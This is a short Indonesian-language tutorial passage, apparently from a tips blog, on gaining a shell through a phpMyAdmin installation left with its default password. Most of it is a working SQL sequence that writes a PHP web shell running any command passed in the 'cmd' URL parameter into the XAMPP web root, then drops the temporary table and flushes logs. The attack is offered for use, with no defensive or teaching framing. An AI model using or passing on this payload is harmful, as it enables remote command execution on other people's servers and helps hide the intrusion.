jika sudah menemukan dan phpmyadminnya masih berpassword default maka langkah selanjutnya adalah membuka SQL query pada phpmyadmin kemudian masukan kode berikut ini
use mysql;
DROP TABLE IF EXISTS temptab;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/cmd.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;
source : https://www.rosdyanakusuma.com/tips-tricks/upload-shell-phpmyadmin/
comments powered by Disqus